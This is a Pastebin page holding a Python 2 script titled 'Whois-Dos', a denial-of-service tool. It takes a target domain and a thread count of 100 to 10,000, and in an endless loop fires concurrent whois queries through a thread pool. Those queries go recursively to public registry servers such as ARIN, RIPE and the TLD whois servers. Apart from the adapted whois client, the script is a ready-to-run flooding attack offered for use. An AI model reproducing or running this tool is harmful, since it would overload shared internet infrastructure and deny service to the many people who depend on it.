Advertisement
1337ings

[Python] Whois-Dos

Feb 13th, 2017
798
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.37 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # - - - - - - - - - - -
  4. # Usage: #
  5. # python whois_dos.py <target(url)> <threads(100-10000)>
  6.  
  7. try:
  8. import sys
  9. import socket
  10. import optparse
  11. from Queue import Queue
  12. from threading import Thread
  13. import time
  14. import signal
  15. except ImportError,e:
  16. import sys
  17. sys.stdout.write("%s" %e)
  18. sys.exit(1)
  19.  
  20.  
  21. socket.setdefaulttimeout(3)
  22.  
  23. class NICClient(object) :
  24. """
  25. Derivered from http://code.activestate.com/recipes/577364-whois-client/
  26. """
  27.  
  28. ABUSEHOST = "whois.abuse.net"
  29. NICHOST = "whois.crsnic.net"
  30. INICHOST = "whois.networksolutions.com"
  31. DNICHOST = "whois.nic.mil"
  32. GNICHOST = "whois.nic.gov"
  33. ANICHOST = "whois.arin.net"
  34. LNICHOST = "whois.lacnic.net"
  35. RNICHOST = "whois.ripe.net"
  36. PNICHOST = "whois.apnic.net"
  37. MNICHOST = "whois.ra.net"
  38. QNICHOST_TAIL = ".whois-servers.net"
  39. SNICHOST = "whois.6bone.net"
  40. BNICHOST = "whois.registro.br"
  41. NORIDHOST = "whois.norid.no"
  42. IANAHOST = "whois.iana.org"
  43. GERMNICHOST = "de.whois-servers.net"
  44. DEFAULT_PORT = "nicname"
  45. WHOIS_SERVER_ID = "Whois Server:"
  46. WHOIS_ORG_SERVER_ID = "Registrant Street1:Whois Server:"
  47.  
  48.  
  49. WHOIS_RECURSE = 0x01
  50. WHOIS_QUICK = 0x02
  51.  
  52. ip_whois = [ LNICHOST, RNICHOST, PNICHOST, BNICHOST ]
  53.  
  54. def __init__(self) :
  55. self.use_qnichost = False
  56.  
  57.  
  58. def findwhois_server(self, buf, hostname):
  59. nhost = None
  60. parts_index = 1
  61. start = buf.find(NICClient.WHOIS_SERVER_ID)
  62. if (start == -1):
  63. start = buf.find(NICClient.WHOIS_ORG_SERVER_ID)
  64. parts_index = 2
  65.  
  66. if (start > -1):
  67. end = buf[start:].find('\n')
  68. whois_line = buf[start:end+start]
  69. whois_parts = whois_line.split(':')
  70. nhost = whois_parts[parts_index].strip()
  71. elif (hostname == NICClient.ANICHOST):
  72. for nichost in NICClient.ip_whois:
  73. if (buf.find(nichost) != -1):
  74. nhost = nichost
  75. break
  76. return nhost
  77.  
  78.  
  79. def whois(self, query, hostname, flags):
  80. #pdb.set_trace()
  81. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  82. #s.settimeout(3)
  83.  
  84. s.connect((hostname, 43))
  85. if (hostname == NICClient.GERMNICHOST):
  86. s.send("-T dn,ace -C US-ASCII " + query + "\r\n")
  87. else:
  88. s.send(query + "\r\n")
  89. response = ''
  90. while True:
  91. try:
  92. d = s.recv(4096)
  93. except:
  94. time.sleep(1)
  95. d = ""
  96.  
  97. response += d
  98. if not d:
  99. break
  100. s.close()
  101. #pdb.set_trace()
  102. nhost = None
  103. if (flags & NICClient.WHOIS_RECURSE and nhost == None):
  104. nhost = self.findwhois_server(response, hostname)
  105. if (nhost != None):
  106. response += self.whois(query, nhost, 0)
  107. return response
  108.  
  109.  
  110. def choose_server(self, domain):
  111. if (domain.endswith("-NORID")):
  112. return NICClient.NORIDHOST
  113. pos = domain.rfind('.')
  114. if (pos == -1):
  115. return None
  116. tld = domain[pos+1:]
  117. if (tld[0].isdigit()):
  118. return NICClient.ANICHOST
  119.  
  120. return tld + NICClient.QNICHOST_TAIL
  121.  
  122. def whois_lookup(self, options, query_arg, flags):
  123. nichost = None
  124. #pdb.set_trace()
  125. # this would be the case when this function is called by other then main
  126. if (options == None):
  127. options = {}
  128.  
  129. if ( (not options.has_key('whoishost') or options['whoishost'] == None)
  130. and (not options.has_key('country') or options['country'] == None)):
  131. self.use_qnichost = True
  132. options['whoishost'] = NICClient.NICHOST
  133. if ( not (flags & NICClient.WHOIS_QUICK)):
  134. flags |= NICClient.WHOIS_RECURSE
  135.  
  136. if (options.has_key('country') and options['country'] != None):
  137. result = self.whois(query_arg, options['country'] + NICClient.QNICHOST_TAIL, flags)
  138. elif (self.use_qnichost):
  139. nichost = self.choose_server(query_arg)
  140. if (nichost != None):
  141. result = self.whois(query_arg, nichost, flags)
  142. else:
  143. result = self.whois(query_arg, options['whoishost'], flags)
  144.  
  145. return result
  146.  
  147.  
  148. def parse_command_line(argv):
  149. flags = 0
  150.  
  151. usage = "usage: %prog [options] name"
  152.  
  153. parser = optparse.OptionParser(add_help_option=False, usage=usage)
  154. parser.add_option("-a", "--arin", action="store_const",
  155. const=NICClient.ANICHOST, dest="whoishost",
  156. help="Lookup using host " + NICClient.ANICHOST)
  157. parser.add_option("-A", "--apnic", action="store_const",
  158. const=NICClient.PNICHOST, dest="whoishost",
  159. help="Lookup using host " + NICClient.PNICHOST)
  160. parser.add_option("-b", "--abuse", action="store_const",
  161. const=NICClient.ABUSEHOST, dest="whoishost",
  162. help="Lookup using host " + NICClient.ABUSEHOST)
  163. parser.add_option("-c", "--country", action="store",
  164. type="string", dest="country",
  165. help="Lookup using country-specific NIC")
  166. parser.add_option("-d", "--mil", action="store_const",
  167. const=NICClient.DNICHOST, dest="whoishost",
  168. help="Lookup using host " + NICClient.DNICHOST)
  169. parser.add_option("-g", "--gov", action="store_const",
  170. const=NICClient.GNICHOST, dest="whoishost",
  171. help="Lookup using host " + NICClient.GNICHOST)
  172. parser.add_option("-h", "--host", action="store",
  173. type="string", dest="whoishost",
  174. help="Lookup using specified whois host")
  175. parser.add_option("-i", "--nws", action="store_const",
  176. const=NICClient.INICHOST, dest="whoishost",
  177. help="Lookup using host " + NICClient.INICHOST)
  178. parser.add_option("-I", "--iana", action="store_const",
  179. const=NICClient.IANAHOST, dest="whoishost",
  180. help="Lookup using host " + NICClient.IANAHOST)
  181. parser.add_option("-l", "--lcanic", action="store_const",
  182. const=NICClient.LNICHOST, dest="whoishost",
  183. help="Lookup using host " + NICClient.LNICHOST)
  184. parser.add_option("-m", "--ra", action="store_const",
  185. const=NICClient.MNICHOST, dest="whoishost",
  186. help="Lookup using host " + NICClient.MNICHOST)
  187. parser.add_option("-p", "--port", action="store",
  188. type="int", dest="port",
  189. help="Lookup using specified tcp port")
  190. parser.add_option("-Q", "--quick", action="store_true",
  191. dest="b_quicklookup",
  192. help="Perform quick lookup")
  193. parser.add_option("-r", "--ripe", action="store_const",
  194. const=NICClient.RNICHOST, dest="whoishost",
  195. help="Lookup using host " + NICClient.RNICHOST)
  196. parser.add_option("-R", "--ru", action="store_const",
  197. const="ru", dest="country",
  198. help="Lookup Russian NIC")
  199. parser.add_option("-6", "--6bone", action="store_const",
  200. const=NICClient.SNICHOST, dest="whoishost",
  201. help="Lookup using host " + NICClient.SNICHOST)
  202. parser.add_option("-?", "--help", action="help")
  203.  
  204.  
  205. return parser.parse_args(argv)
  206.  
  207.  
  208.  
  209. class Worker(Thread):
  210. def __init__(self, tasks):
  211. Thread.__init__(self)
  212. self.tasks = tasks
  213. self.daemon = True
  214. self.start()
  215.  
  216. def run(self):
  217. while True:
  218. func, args, kargs = self.tasks.get()
  219.  
  220. try:
  221. func(*args, **kargs)
  222. except Exception, e:
  223. print e
  224.  
  225. self.tasks.task_done()
  226.  
  227.  
  228.  
  229. class ThreadPool():
  230. def __init__(self, num_threads):
  231. self.tasks = Queue(num_threads)
  232. for _ in range(num_threads): Worker(self.tasks)
  233.  
  234.  
  235. def add_task(self, func, *args, **kargs):
  236. """Add a task to the queue"""
  237. self.tasks.put((func, args, kargs))
  238.  
  239.  
  240. def wait_completion(self):
  241. """Wait for completion of all the tasks in the queue"""
  242. self.tasks.join()
  243.  
  244.  
  245. def signal_handler(signal, frame):
  246. print 'Ctrl+C ...'
  247. sys.exit(0)
  248.  
  249.  
  250. if __name__ == "__main__":
  251. flags = 0
  252. nic_client = NICClient()
  253.  
  254. (options, args) = parse_command_line(sys.argv)
  255.  
  256. if (options.b_quicklookup is True):
  257. flags = flags|NICClient.WHOIS_QUICK
  258.  
  259. domain_name = args[1]
  260. thread_count = args[2]
  261.  
  262. while True:
  263. signal.signal(signal.SIGINT, signal_handler)
  264.  
  265. pool = ThreadPool(int(thread_count))
  266.  
  267. for i in range(int(thread_count)):
  268. pool.add_task(nic_client.whois_lookup, options.__dict__,domain_name,flags)
  269. print "%d : thread is started ..."% i
  270.  
  271. pool.wait_completion()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement